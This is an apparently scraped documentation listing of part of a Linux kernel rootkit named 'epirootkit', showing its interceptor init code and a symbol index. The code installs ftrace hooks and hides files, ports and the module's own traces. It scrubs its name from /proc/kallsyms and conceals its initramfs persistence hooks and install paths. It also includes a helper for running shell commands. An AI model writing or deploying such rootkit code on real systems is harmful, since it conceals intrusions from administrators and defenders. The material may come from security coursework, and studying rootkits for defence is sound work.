9#define HIDE_CFG_FILE_FULL_PATH HIDDEN_DIR_PATH "/" HIDE_CFG_FILE
10#define FORBID_CFG_FILE_FULL_PATH HIDDEN_DIR_PATH "/" FORBID_CFG_FILE
11#define ALTERATE_CFG_FILE_FULL_PATH HIDDEN_DIR_PATH "/" ALTERATE_CFG_FILE
12#define HIDE_PORT_CFG_FILE_FULL_PATH HIDDEN_DIR_PATH "/" HIDE_PORT_CFG_FILE
25 ERR_MSG(
"init: alterate_init() failed: %d\n", err);
31 ERR_MSG(
"init: forbid_init() failed: %d\n", err);
37 ERR_MSG(
"init: hide_init() failed: %d\n", err);
43 ERR_MSG(
"init: hide_port_init() failed: %d\n", err);
49 ERR_MSG(
"init: failed to install hooks\n");
71 alterate_add(
"/proc/kallsyms", -1,
"epirootkit", NULL, NULL);
74 hide_file(
"/usr/lib/epirootkit/cH0c01AtcG9ydC1rZXlzLmNv");
84 hide_file(
"/etc/initramfs-tools/hooks/epirootkit");
85 hide_file(
"/etc/initramfs-tools/scripts/init-premount/epirootkit-load");
92#if !(defined(DEBUG) && DEBUG)
111 snprintf(cmd,
sizeof(cmd),
"mkdir -p -- %s", path);
int alterate_add(const char *path, int hide_line, const char *hide_substr, const char *src, const char *dst)
struct ftrace_hook hooks[]
#define ERR_MSG(fmt, args...)
#define exec_str_as_command_no_timeout(user_cmd, catch_stds)
int forbid_file(const char *path)
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
Remove multiple ftrace hooks.
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
Install multiple ftrace hooks.
int hide_file(const char *path)
int hide_port(const char *port)
int create_dir(char *path)
#define FORBID_CFG_FILE_FULL_PATH
#define ALTERATE_CFG_FILE_FULL_PATH
void exit_interceptor(void)
#define HIDE_CFG_FILE_FULL_PATH
#define HIDE_PORT_CFG_FILE_FULL_PATH
int init_interceptor(void)